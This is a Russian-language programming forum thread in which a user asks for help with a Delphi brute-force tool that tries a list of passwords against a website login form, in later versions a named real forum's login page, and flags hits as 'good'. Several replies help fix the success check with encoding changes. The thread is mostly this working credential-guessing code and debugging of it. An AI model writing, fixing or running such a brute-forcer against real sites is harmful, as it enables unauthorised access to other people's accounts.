[Помогите!] брут

[pavel!]

Помогите почему-то все кидает бад
помогите востановить справедливость

var
  i:Integer;
  info:TStringList;
  p:TStringList;
begin
  info:=TStringList.Create;
  p:=TStringList.Create;

  for i:=0 to mmo1.Lines.Count-1 do
  begin
    info.Add('login='+edt1.Text);
    info.Add('password='+mmo1.Lines.Strings[i]);
    p.Text:=idhtp1.Post('http:/тут сайт/',info);
    if Pos('logout', p.Text)>0 then
    begin
      mmo2.Lines.add(mmo1.Lines.Strings[i]+|good);
      end
      else
      begin
       mmo2.Lines.add(mmo1.Lines.Strings[i]+|bad);
      end;
    end;
  end;
end.

[VeTaL_UA]

Цитата: Сообщение от pavel! Помогите почему-то все кидает бад

Уверен, что 'logout' присутствует в ответе сервера?

[gum_classis]

Цитата: Сообщение от pavel! Помогите почему-то все кидает бад помогите востановить справедливость Код: var i:Integer; info:TStringList; p:TStringList; begin info:=TStringList.Create; p:=TStringList.Create; for i:=0 to mmo1.Lines.Count-1 do begin info.Add('login='+edt1.Text); info.Add('password='+mmo1.Lines.Strings[i]); p.Text:=idhtp1.Post('http:/тут сайт/',info); if Pos('logout', p.Text)>0 then begin mmo2.Lines.add(mmo1.Lines.Strings[i]+|good); end else begin mmo2.Lines.add(mmo1.Lines.Strings[i]+|bad); end; end; end; end.

Код ровный, я думаю проблема в парсе!

[pavel!]

Цитата: Сообщение от VeTaL_UA Уверен, что 'logout' присутствует в ответе сервера?

Присутствует не 'logout' ,а 'Выход'
но и выход я тоже пробовал

[VeTaL_UA]

Цитата: Сообщение от pavel! но и выход я тоже пробовал

Не так пробовал:

var
  i:Integer;
  info:TStringList;
  p:TStringList;
begin
  info:=TStringList.Create;
  p:=TStringList.Create;

  for i:=0 to mmo1.Lines.Count-1 do
  begin
    info.Add('login='+edt1.Text);
    info.Add('password='+mmo1.Lines.Strings[i]);
    p.Text:=idhtp1.Post('http:/тут сайт/',info);
    if Pos('Выход',UTF8Decode(p.Text))>0 then
    begin
      mmo2.Lines.add(mmo1.Lines.Strings[i]+|good);
      end
      else
      begin
       mmo2.Lines.add(mmo1.Lines.Strings[i]+|bad);
      end;
    end;
  end;
end.

[pavel!]

var
  i:Integer;
  info:TStringList;
  p:TStringList;
begin
  info:=TStringList.Create;
  p:=TStringList.Create;

  for i:=0 to mmo1.Lines.Count-1 do
  begin
    info.Add('user_login='+edt1.Text);
    info.Add('password='+mmo1.Lines.Strings[i]);
    p.Text:=idhtp1.Post('http://ru.forums.wordpress.org/bb-login.php',info);
    if Pos('Выход',UTF8Decode(p.Text))>0 then
    begin
      mmo2.Lines.add(mmo1.Lines.Strings[i]+'|good');
      end
      else
      begin
       mmo2.Lines.add(mmo1.Lines.Strings[i]+'|bad');
      end;
    end;
  end;
end.

пишит все подряд '|бад' хотя есть валидный аккаунт

Добавлено через 11 минут

var
  i:Integer;
  info:TStringList;
  p:TStringList;
begin
  info:=TStringList.Create;
  p:=TStringList.Create;

  for i:=0 to mmo1.Lines.Count-1 do
  begin
    info.Add('user_login='+edt1.Text);
    info.Add('password='+mmo1.Lines.Strings[i]);
    p.Text:=idhtp1.Post('http://ru.forums.wordpress.org/bb-login.php',info);
    if Pos('Выход',UTF8Decode(p.Text))>0 then
    begin
      mmo2.Lines.add(mmo1.Lines.Strings[i]+'|good');
      end
      else
      begin
       mmo2.Lines.add(mmo1.Lines.Strings[i]+'|bad');
      end;
    end;
  end;
end.

пишит все подряд '|бад' хотя есть валидный аккаунт
так же пробовал еще вот так:

var
  i:Integer;
  info:TStringList;
  p:TStringList;
begin
  info:=TStringList.Create;
  p:=TStringList.Create;

  for i:=0 to mmo1.Lines.Count-1 do
  begin
    info.Add('user_login='+edt1.Text);
    info.Add('password='+mmo1.Lines.Strings[i]);
    info.Add('re=');
    info.Add('_wp_http_referer=/bb-login.php');
    p.Text:=idhtp1.Post('http://ru.forums.wordpress.org/bb-login.php',info);
    if Pos('Выход',UTF8Decode(p.Text))>0 then
    begin
      mmo2.Lines.add(mmo1.Lines.Strings[i]+'|good');
      end
      else
      begin
       mmo2.Lines.add(mmo1.Lines.Strings[i]+'|bad');
      end;
    end;
  end;
end.

[VeTaL_UA]

var
  i:Integer;
  info:TStringList;
  p:TStringList;
begin
  info:=TStringList.Create;
  p:=TStringList.Create;

  for i:=0 to mmo1.Lines.Count-1 do
  begin
    info.Add('login='+edt1.Text);
    info.Add('password='+mmo1.Lines.Strings[i]);
    p.Text:=idhtp1.Post('http:/тут сайт/',info);
    if Pos(UTF8Encode('Выход'),p.Text)>0 then
    begin
      mmo2.Lines.add(mmo1.Lines.Strings[i]+|good);
      end
      else
      begin
       mmo2.Lines.add(mmo1.Lines.Strings[i]+|bad);
      end;
    end;
  end;
end.

Тут всё дела в проверочной строке. Пробуй другую...

[pavel!]

Цитата: Сообщение от VeTaL_UA var i:Integer; info:TStringList; p:TStringList; begin info:=TStringList.Create; p:=TStringList.Create; for i:=0 to mmo1.Lines.Count-1 do begin info.Add('login='+edt1.Text); info.Add('password='+mmo1.Lines.Strings[i]); p.Text:=idhtp1.Post('http:/тут сайт/',info); if Pos(UTF8Encode('Выход'),p.Text)>0 then begin mmo2.Lines.add(mmo1.Lines.Strings[i]+|good); end else begin mmo2.Lines.add(mmo1.Lines.Strings[i]+|bad); end; end; end; end. Тут всё дела в проверочной строке. Пробуй другую...

и сново все в бэд кидает

[gum_classis]

А не судьба спарсить что нибудь другое ?

[pavel!]

а как написать что если гуд то переходило допустим в http:/тут сайт/профиль заместо 'выход'

[Mebius]

Цитата: Сообщение от pavel! а как написать что если гуд то переходило допустим в http:/тут сайт/профиль заместо 'выход'

а как написать если ктулху реально существует - перейти на море и вызвать его?

[pavel!]

Цитата: Сообщение от Mebius а как написать если ктулху реально существует - перейти на море и вызвать его?

спасибо что помог,твой сарказм привыше всего

[Mebius]

Цитата: Сообщение от pavel! спасибо что помог,твой сарказм привыше всего

где код, где описание, где инфа? телепатов тут нету, если просишь помощи так предоставь то, с чем не получается, никому тут не надо сидеть и разбираться как устроена та или иная фигня для каждого просящего помощь. если многабукф то на это есть споилеры.

заметь, ты дал код, тебе высказали предположения как и что сделать надо. дай инфу по той фигне, которая у тебя не получается, тебе помогут, но еденицы пойдут изучать устройство игры/сайта/неведомой фигни что б помоч.

[pavel!]

выше тебе не код указан? facepalm

[Mebius]

Цитата: Сообщение от pavel! выше тебе не код указан? facepalm

Цитата: http:/тут сайт/

чет я даже такого сайта найти не могу О_о интернет впервые потерял сайт в своих же просторах. срочно запечатлить этот факт в книге рекордов

что мне твой код даст, эта процедура стандартна для 90% сайтов в рунете.
умник блин >_<